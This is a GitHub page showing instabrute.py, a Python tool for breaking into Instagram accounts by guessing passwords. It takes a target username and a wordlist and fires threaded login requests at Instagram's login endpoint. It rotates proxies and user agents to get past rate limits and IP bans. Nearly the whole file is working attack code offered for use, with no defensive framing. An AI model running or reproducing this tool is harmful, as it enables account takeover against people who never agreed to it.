-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinstabrute.py
363 lines (298 loc) · 12.5 KB
/
instabrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
# coding=utf-8
###############################################################################
# Instagram Brute Forcer
# Developed By Hak9
# xhak9x@jabber.de
# !/usr/bin/python
###############################################################################
from __future__ import print_function
import argparse
import logging
import random
import socket
import sys
import threading
try:
import urllib.request as rq
from urllib.error import HTTPError
import urllib.parse as http_parser
except ImportError:
import urllib2 as rq
from urllib2 import HTTPError
import urllib as http_parser
try:
import Queue
except ImportError:
import queue as Queue
class bcolors:
HEADER = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def check_proxy(q):
"""
check proxy for and append to working proxies
:param q:
"""
if not q.empty():
proxy = q.get(False)
proxy = proxy.replace("\r", "").replace("\n", "")
try:
opener = rq.build_opener(
rq.ProxyHandler({'https': 'https://' + proxy}),
rq.HTTPHandler(),
rq.HTTPSHandler()
)
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
rq.install_opener(opener)
req = rq.Request('https://api.ipify.org/')
if rq.urlopen(req).read().decode() == proxy.partition(':')[0]:
proxys_working_list.update({proxy: proxy})
if _verbose:
print(bcolors.OKGREEN + " --[+] ", proxy, " | PASS" + bcolors.ENDC)
else:
if _verbose:
print(" --[!] ", proxy, " | FAILED")
except Exception as err:
if _verbose:
print(" --[!] ", proxy, " | FAILED")
if _debug:
logger.error(err)
pass
def get_csrf():
"""
get CSRF token from login page to use in POST requests
"""
global csrf_token
print(bcolors.WARNING + "[+] Getting CSRF Token: " + bcolors.ENDC)
try:
opener = rq.build_opener(rq.HTTPHandler(), rq.HTTPSHandler())
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
rq.install_opener(opener)
request = rq.Request('https://www.instagram.com/')
try:
# python 2
headers = rq.urlopen(request).info().headers
except Exception:
# python 3
headers = rq.urlopen(request).info().get_all('Set-Cookie')
for header in headers:
if header.find('csrftoken') != -1:
csrf_token = header.partition(';')[0].partition('=')[2]
print(bcolors.OKGREEN + "[+] CSRF Token :", csrf_token, "\n" + bcolors.ENDC)
except Exception as err:
print(bcolors.FAIL + "[!] Can't get CSRF token , please use -d for debug" + bcolors.ENDC)
if _debug:
logger.error(err)
print(bcolors.FAIL + "[!] Exiting..." + bcolors.ENDC)
exit(3)
def brute(q):
"""
main worker function
:param word:
:param event:
:return:
"""
if not q.empty():
try:
proxy = None
if len(proxys_working_list) != 0:
proxy = random.choice(list(proxys_working_list.keys()))
word = q.get()
word = word.replace("\r", "").replace("\n", "")
post_data = {
'username': USER,
'password': word,
}
header = {
"User-Agent": random.choice(user_agents),
'X-Instagram-AJAX': '1',
"X-CSRFToken": csrf_token,
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
'Cookie': 'csrftoken=' + csrf_token
}
if proxy:
if _verbose:
print(bcolors.BOLD + "[*] Trying %s %s " % (word, " | " + proxy,) + bcolors.ENDC)
opener = rq.build_opener(
rq.ProxyHandler({'https': 'https://' + proxy}),
rq.HTTPHandler(),
rq.HTTPSHandler()
)
else:
if _verbose:
print(bcolors.BOLD + "[*] Trying %s" % (word,) + bcolors.ENDC)
opener = rq.build_opener(
rq.HTTPHandler(),
rq.HTTPSHandler()
)
rq.install_opener(opener)
req = rq.Request(URL, data=http_parser.urlencode(post_data).encode('ascii'), headers=header)
sock = rq.urlopen(req)
if sock.read().decode().find('"authenticated": true') != -1:
print(bcolors.OKGREEN + bcolors.BOLD + "\n[*]Successful Login:")
print("---------------------------------------------------")
print("[!]Username: ", USER)
print("[!]Password: ", word)
print("---------------------------------------------------\n" + bcolors.ENDC)
found_flag = True
q.queue.clear()
q.task_done()
except HTTPError as e:
if e.getcode() == 400 or e.getcode() == 403:
if e.read().decode("utf8", 'ignore').find('"checkpoint_required"') != -1:
print(bcolors.OKGREEN + bcolors.BOLD + "\n[*]Successful Login "
+ bcolors.FAIL + "But need Checkpoint :|" + bcolors.OKGREEN)
print("---------------------------------------------------")
print("[!]Username: ", USER)
print("[!]Password: ", word)
print("---------------------------------------------------\n" + bcolors.ENDC)
found_flag = True
q.queue.clear()
q.task_done()
return
elif proxy:
print(bcolors.WARNING +
"[!]Error: Proxy IP %s is now on Instagram jail , Removing from working list !" % (proxy,)
+ bcolors.ENDC
)
if proxy in proxys_working_list:
proxys_working_list.pop(proxy)
print(bcolors.OKGREEN + "[+] Online Proxy: ", str(len(proxys_working_list)) + bcolors.ENDC)
else:
print(bcolors.FAIL + "[!]Error : Your Ip is now on Instagram jail ,"
" script will not work fine until you change your ip or use proxy" + bcolors.ENDC)
else:
print("Error:", e.getcode())
q.task_done()
return
except Exception as err:
if _debug:
print(bcolors.FAIL + "[!] Unknown Error in request." + bcolors.ENDC)
logger.error(err)
else:
print(bcolors.FAIL + "[!] Unknown Error in request, please turn on debug mode with -d" + bcolors.ENDC)
pass
return
def starter():
"""
threading workers initialize
"""
global found_flag
queue = Queue.Queue()
threads = []
max_thread = THREAD
found_flag = False
queuelock = threading.Lock()
print(bcolors.HEADER + "\n[!] Initializing Workers")
print("[!] Start Cracking ... \n" + bcolors.ENDC)
try:
for word in words:
queue.put(word)
while not queue.empty():
queuelock.acquire()
for workers in range(max_thread):
t = threading.Thread(target=brute, args=(queue,))
t.setDaemon(True)
t.start()
threads.append(t)
for t in threads:
t.join()
queuelock.release()
if found_flag:
break
print(bcolors.OKGREEN + "\n--------------------")
print("[!] Brute complete !" + bcolors.ENDC)
except Exception as err:
print(err)
def check_avalaible_proxys(proxys):
"""
check avalaible proxyies from proxy_list file
"""
socket.setdefaulttimeout(30)
global proxys_working_list
print(bcolors.WARNING + "[-] Testing Proxy List...\n" + bcolors.ENDC)
proxys_working_list = {}
max_thread = THREAD
queue = Queue.Queue()
queuelock = threading.Lock()
threads = []
for proxy in proxys:
queue.put(proxy)
while not queue.empty():
queuelock.acquire()
for workers in range(max_thread):
t = threading.Thread(target=check_proxy, args=(queue,))
t.setDaemon(True)
t.start()
threads.append(t)
for t in threads:
t.join()
queuelock.release()
print(bcolors.OKGREEN + "[+] Online Proxy: " + bcolors.BOLD + str(len(proxys_working_list)) + bcolors.ENDC + "\n")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Instagram BruteForcer",
epilog="./instabrute -u user_test -w words.txt -p proxys.txt -t 4 -d -v"
)
# required argument
parser.add_argument('-u', '--username', action="store", required=True,
help='Target Username')
parser.add_argument('-w', '--word', action="store", required=True,
help='Words list path')
parser.add_argument('-p', '--proxy', action="store", required=True,
help='Proxy list path')
# optional arguments
parser.add_argument('-t', '--thread', help='Thread', type=int, default=4)
parser.add_argument('-v', '--verbose', action='store_const', help='Thread', const=True, default=False)
parser.add_argument('-d', '--debug', action='store_const', const=True, help='Debug mode', default=False)
args = parser.parse_args()
URL = "https://www.instagram.com/accounts/login/ajax/"
USER = args.username
THREAD = args.thread
_verbose = args.verbose
_debug = args.debug
user_agents = ["Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko)",
"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1",
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"]
try:
words = open(args.word).readlines()
except IOError:
print("[-] Error: Check your word list file path\n")
sys.exit(1)
try:
proxys = open(args.proxy).readlines()
except IOError:
print("[-] Error: Check your proxy list file path\n")
sys.exit(1)
# enable debugging if its set
if _debug:
# Logging stuff
logging.basicConfig(level=logging.DEBUG, filename="log",
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
print(bcolors.HEADER + """.-------------------------------------------------------.""")
print("""| _____ _ ______ _ |""")
print("""||_ _| | | | ___ \ | | |""")
print("""| | | _ __ ___| |_ __ _ | |_/ /_ __ _ _| |_ ___ |""")
print("""| | || '_ \/ __| __/ _` | | ___ \ '__| | | | __/ _ \ |""")
print("""| _| || | | \__ \ || (_| | | |_/ / | | |_| | || __/ |""")
print("""| \___/_| |_|___/\__\__,_| \____/|_| \__,_|\__\___| |""")
print("""| |""")
print("""'-------------------------------------------------------'""")
print(bcolors.OKGREEN + "[+] Username Loaded:", bcolors.BOLD + USER + bcolors.ENDC)
print(bcolors.OKGREEN + "[+] Words Loaded:", bcolors.BOLD + str(len(words)) + bcolors.ENDC)
print(bcolors.OKGREEN + "[+] Proxy Loaded:", bcolors.BOLD + str(len(proxys)) + bcolors.ENDC)
print(bcolors.ENDC)
check_avalaible_proxys(proxys)
get_csrf()
starter()